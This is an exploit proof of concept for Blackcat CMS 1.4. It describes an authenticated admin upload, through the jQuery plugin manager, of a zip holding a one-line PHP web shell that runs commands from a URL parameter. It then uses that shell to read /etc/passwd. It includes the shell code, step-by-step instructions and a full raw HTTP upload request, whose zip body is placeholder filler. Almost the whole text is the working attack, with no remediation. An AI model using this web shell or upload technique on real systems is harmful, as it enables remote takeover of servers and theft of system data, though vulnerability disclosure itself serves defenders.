Blackcat CMS 1.4 Shell Upload

`Exploit Title: Blackcat Cms v1.4 - Remote Code Execution (RCE)  
Application: blackcat Cms  
Version: v1.4  
Bugs: RCE  
Technology: PHP  
Vendor URL: https://blackcat-cms.org/  
Software Link: https://github.com/BlackCatDevelopment/BlackCatCMS  
Date of found: 13.07.2023  
Author: Mirabbas Ağalarov  
Tested on: Linux   
  
  
2. Technical Details & POC  
========================================  
steps:   
1. login to account as admin  
2. go to admin-tools => jquery plugin (http://localhost/BlackCatCMS-1.4/upload/backend/admintools/tool.php?tool=jquery_plugin_mgr)  
3. upload zip file but this zip file must contains poc.php   
poc.php file contents   
<?php $a=$_GET['code']; echo system($a);?>  
4.Go to http://localhost/BlackCatCMS-1.4/upload/modules/lib_jquery/plugins/poc/poc.php?code=cat%20/etc/passwd  
  
Poc request  
  
POST /BlackCatCMS-1.4/upload/backend/admintools/tool.php?tool=jquery_plugin_mgr HTTP/1.1  
Host: localhost  
Content-Length: 577  
Cache-Control: max-age=0  
sec-ch-ua:   
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: ""  
Upgrade-Insecure-Requests: 1  
Origin: http://localhost  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBRByJwW3CUSHOcBT  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Referer: http://localhost/BlackCatCMS-1.4/upload/backend/admintools/tool.php?tool=jquery_plugin_mgr  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: cat7288sessionid=7uv7f4kj7hm9q6jnd6m9luq0ti  
Connection: close  
  
------WebKitFormBoundaryBRByJwW3CUSHOcBT  
Content-Disposition: form-data; name="upload"  
  
1  
------WebKitFormBoundaryBRByJwW3CUSHOcBT  
Content-Disposition: form-data; name="userfile"; filename="poc.zip"  
Content-Type: application/zip  
  
PKvalsdalsfapoc.php<?php   
$a=$_GET['code'];   
echo system($a);  
?>  
blabalaboalpoc.php  
blablabla  
------WebKitFormBoundaryBRByJwW3CUSHOcBT  
Content-Disposition: form-data; name="submit"  
  
Upload  
------WebKitFormBoundaryBRByJwW3CUSHOcBT--  
  
  
`